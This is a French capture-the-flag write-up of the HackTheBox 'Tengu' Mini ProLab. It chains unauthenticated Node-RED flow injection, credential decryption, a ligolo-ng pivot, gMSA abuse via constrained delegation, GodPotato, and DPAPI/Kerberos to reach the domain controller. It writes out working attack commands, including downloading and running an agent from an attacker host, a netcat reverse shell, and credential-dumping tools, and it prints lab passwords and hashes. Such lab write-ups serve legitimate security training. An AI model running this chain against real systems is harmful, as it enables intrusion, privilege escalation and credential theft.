Writeup ProLab

Tengu

Mini ProLab AD mixte Linux/Windows. Un Node-RED expose sans authentification sert de porte d'entrée, avec pour fil rouge la réutilisation de secrets d'un bout à l'autre de la chaîne : credentials déchiffrées côté Linux, hash MSSQL cracké, abus d'un gMSA via délégation contrainte, GodPotato, puis DPAPI et Kerberos jusqu'à un compte Tier-0 protégé pour prendre le contrôleur de domaine.

Platform: HackTheBox Mini ProLabs
Domaine: tengu.vl
Hôtes: nodered (Linux) / SQL / DC
Flags: Impersonate / Tengu Master / Red
Date: 2026-07-18

1. Reconnaissance et RCE Node-RED non authentifiée

Seule une IP est fournie en externe. Le scan complet ne révèle que deux ports : SSH et Node-RED (1880), configuré avec un backend MSSQL vers sql.tengu.vl:1433/Dev.

Scan

nmap 10.13.38.40 -Pn -p- -sT -T4 --min-rate 1000
→ 22/tcp (SSH), 1880/tcp (Node-RED)

L'API REST d'admin de Node-RED (/flows) est accessible sans authentification. Le flow existant contient un bug (results.foreach au lieu de forEach), mais surtout : n'importe qui peut réécrire les flows et forcer un redeploy. Un node exec natif est injecté, câblé directement sur le node inject existant (qui se déclenche automatiquement 0.1s après chaque déploiement).

Injection du node exec + redeploy

curl -s http://10.13.38.40:1880/flows -o flows.json

curl -X POST http://10.13.38.40:1880/flows \
  -H "Content-Type: application/json" \
  -H "Node-RED-Deployment-Type: full" \
  -d @flows_evil.json

Piège rencontré : avec useSpawn:"true", le node exec n'utilise pas de shell (spawn() direct) - unbash -c '...' échoue silencieusement (rc:-2). Passer en useSpawn:"false"(utilise child_process.exec via /bin/sh -c) résout le problème et autorise la syntaxe shell complète.

Résultat

uid=1001(nodered_svc) gid=1001(nodered_svc) groups=1001(nodered_svc)
nodered

Shell obtenu en tant que nodered_svc. Pour itérer sans reverse shell interactif fragile, une petite primitive de RCE est construite : déploiement du node exec avec la commande voulue, déclenchement via /inject/{id}, capture de stdout/stderr via un node debug relié, lu en direct sur le websocket admin (/comms) de Node-RED.

2. Déchiffrement des credentials Node-RED et pivot ligolo-ng

realm list confirme le join au domaine TENGU.VL via SSSD, avec permitted-groups: Domain Users - n'importe quel compte de domaine pourra donc SSH directement sur cette machine plus tard. Le secret de chiffrement Node-RED traîne en clair dans .config.runtime.json.

Résultat

_credentialSecret: dee5c9fb0287ad39bac9f29bfe6f3adb4be9826f135eb6da91de0d013bd6799b

Déchiffrement AES-256-CTR en Node.js local (clé = SHA256 du secret, IV = 32 premiers hex du blob) :

nodered_connector

DreamPuppyOverall25

Le pivot a une seconde interface réseau vers l'AD interne, invisible depuis l'extérieur. Tunnel monté avec ligolo-ng (agent uploadé et exécuté via la RCE Node-RED).

Setup ligolo-ng

ligolo-ng-proxy -selfcert -laddr 0.0.0.0:11601

# cible : upload + exec de l'agent via la RCE
wget http://<attaquant>:8888/agent -O /tmp/.agent && chmod +x /tmp/.agent
/tmp/.agent -connect <attaquant>:11601 -ignore-cert -retry &

# console proxy
session
interface_create --name tengu0
interface_route_add --name tengu0 --route 192.168.50.0/24
tunnel_start --tun tengu0

Résultat

192.168.50.10  -> DC
192.168.50.12  -> SQL
192.168.50.240 -> le pivot nodered lui-même

3. MSSQL, cassage du hash et flag Impersonate

Enumeration MSSQL

mssqlclient.py './nodered_connector:DreamPuppyOverall25@192.168.50.12'
use Demo
SELECT * FROM Users;

Résultat

t2_m.winters : af9cfa9b70e5e90984203087e5a5219945a599abf31dd4bb2a11dc20678ea147  (SHA256 non salé)

Hash absent de rockyou même avec les règles étendues. Cracké via CrackStation (recherche dans des tables précalculées massives, pas du brute-force) - confirmé aussi comme mot de passe de domaine.

Puisque permitted-groups: Domain Users autorise le SSH direct, connexion immédiate avec ce compte fraîchement cracké :

SSH direct + sudo

sshpass -p '<mdp>' ssh -l 't2_m.winters@tengu.vl' 10.13.38.40
# groupe linux_server_admins -> sudo fonctionne avec le mot de passe de domaine
sudo cat /root/root.txt

Flag : Impersonate

••••••••••••••••••••••••••••••••Cliquer pour afficher

4. BloodHound, keytab de la machine et abus du gMSA

Collecte BloodHound

bloodhound-python -u 't2_m.winters' -p '<mdp>' -d tengu.vl -ns 192.168.50.10 -dc DC.tengu.vl -c All --zip

Faits clés (parsing direct des JSON, sans neo4j) : le compte machine NODERED$ a le droitReadGMSAPassword sur gMSA01$ (via le groupe Linux_Server) ; gMSA01$ a la délégation contrainte activée (trustedtoauth) vers MSSQLSvc/sql.tengu.vl ; le groupe SQL_Admins contient t1_m.winters (hors Protected Users, exploitable) et T1_C.FOWLER (dans Protected Users - à éviter, NTLM/RC4 désactivés).

Le compte machine NODERED$ est justement celui sur lequel on tourne : extraction de son keytab local (root requis, obtenu via sudo).

Extraction du keytab machine

sudo base64 /etc/krb5.keytab
python3 keytabextract.py krb5.keytab

Résultat

NTLM     : d4210ee2db0c03aa3611c9ef8a4dbf49
AES-256  : 4ce11c580289227f38f8cc0225456224941d525d1e525c353ea1e1ec8313...

Dump du mot de passe gMSA

nxc ldap 192.168.50.10 -u 'NODERED$' -H d4210ee2db0c03aa3611c9ef8a4dbf49 --gmsa

Résultat

gMSA01$ NTLM : 2d91717c8e5a25b60b977c484b0bbbd0

5. Délégation contrainte, GodPotato et flag Tengu Master

gMSA01$ peut impersonner n'importe qui vers MSSQL via S4U2Self/S4U2Proxy. Impersonation de t1_m.winters (qui évite les restrictions Protected Users) pour obtenir un ticket de service sysadmin.

S4U2Proxy

getST.py -spn 'MSSQLSvc/sql.tengu.vl' -impersonate 't1_m.winters' -dc-ip 192.168.50.10 \
  -hashes ':2d91717c8e5a25b60b977c484b0bbbd0' 'tengu.vl/gMSA01$'

export KRB5CCNAME=t1_m.winters@MSSQLSvc_sql.tengu.vl@TENGU.VL.ccache
mssqlclient.py -k -no-pass tengu.vl/t1_m.winters@sql.tengu.vl -target-ip 192.168.50.12

Résultat

system_user = TENGU\t1_m.winters
is_srvrolemember('sysadmin') = 1
whoami /priv -> SeImpersonatePrivilege: Enabled (process tourne en tengu\gmsa01$)

enable_xp_cmdshell puis upload de GodPotato et d'un netcat Windows via des listeners ligolo-ng côté agent (seul le pivot nodered est routable depuis SQL) :

Listeners ligolo-ng + upload

listener_add --addr 0.0.0.0:9091 --to 127.0.0.1:9091 --tcp   # http.server
listener_add --addr 0.0.0.0:4040 --to 127.0.0.1:4040 --tcp   # reverse shell

# xp_cmdshell (PowerShell -EncodedCommand, plus fiable que les guillemets imbriqués)
Invoke-WebRequest -Uri http://192.168.50.240:9091/GodPotato-NET4.exe -OutFile $env:TEMP\GodPotato-NET4.exe
Invoke-WebRequest -Uri http://192.168.50.240:9091/nc64.exe -OutFile $env:TEMP\nc64.exe

%TEMP%\GodPotato-NET4.exe -cmd "%TEMP%\nc64.exe 192.168.50.240 4040 -e cmd.exe"

Résultat

whoami -> nt authority\system

Flag : Tengu Master

••••••••••••••••••••••••••••••••Cliquer pour afficher

6. LaZagne, DPAPI et compromission du DC - flag Red

Une tâche planifiée C:\admin\Task.ps1 confirme le décor (surveillance du service MSSQL). LaZagne uploadé et lancé pour moissonner les credentials locales.

LaZagne

Invoke-WebRequest -Uri http://192.168.50.240:9091/LaZagne.exe -OutFile $env:TEMP\LaZagne.exe
%TEMP%\LaZagne.exe all

Résultat

Hashdump local : Administrator:500:...:73db3fdd24bee6eeb5aac7e17e4aba4c:::
Vault (Credential Manager) : entrée DPAPI non déchiffrée pour une tâche planifiée -> TENGU\T0_c.fowler

Déchiffrement DPAPI complet avec le hash Administrator local (SAM, pas domaine) :

Déchiffrement DPAPI

nxc smb 192.168.50.12 -u Administrator -H 73db3fdd24bee6eeb5aac7e17e4aba4c --local-auth --dpapi

Résultat

TENGU\T0_c.fowler : <mot de passe recupere>

T0_c.fowler est un compte Tier-0 dans Protected Users : l'authentification NTLM classique échoue, seule une authentification Kerberos AES est acceptée.

NTLM bloqué, bascule Kerberos

nxc smb 192.168.50.10 -u 'T0_c.fowler' -p '<mdp>'
# STATUS_ACCOUNT_RESTRICTION

getTGT.py 'tengu.vl/T0_c.fowler:<mdp>' -dc-ip 192.168.50.10
export KRB5CCNAME=T0_c.fowler.ccache

psexec.py -k -no-pass tengu.vl/T0_c.fowler@dc.tengu.vl -target-ip 192.168.50.10 -dc-ip 192.168.50.10

Résultat

whoami -> nt authority\system   (SYSTEM sur le DC)

Flag : Red

••••••••••••••••••••••••••••••••Cliquer pour afficher

Récap

  • Accès initial : API admin Node-RED non authentifiée → node exec injecté → RCE en tant que nodered_svc
  • Credentials Node-RED : secret de chiffrement en clair dans la config → déchiffrement AES-256-CTR → creds MSSQL
  • Pivot : ligolo-ng via la 2e interface du pivot Linux → accès au réseau AD interne (DC + SQL)
  • Flag Impersonate : hash MSSQL de t2_m.winters cracké (CrackStation) → SSH direct (Domain Users autorisés) → sudo → root
  • gMSA : BloodHound → NODERED$ lit le mot de passe de gMSA01$ → keytab machine (sudo) → dump gMSA
  • Flag Tengu Master : délégation contrainte gMSA01$ → impersonate t1_m.winters (évite Protected Users) → sysadmin MSSQL → xp_cmdshell + SeImpersonatePrivilege → GodPotato → SYSTEM sur SQL
  • Flag Red : LaZagne → hash Administrator local + vault DPAPI (T0_c.fowler) → netexec --dpapi → mot de passe en clair → Kerberos (NTLM bloqué, Protected Users) → SYSTEM sur le DC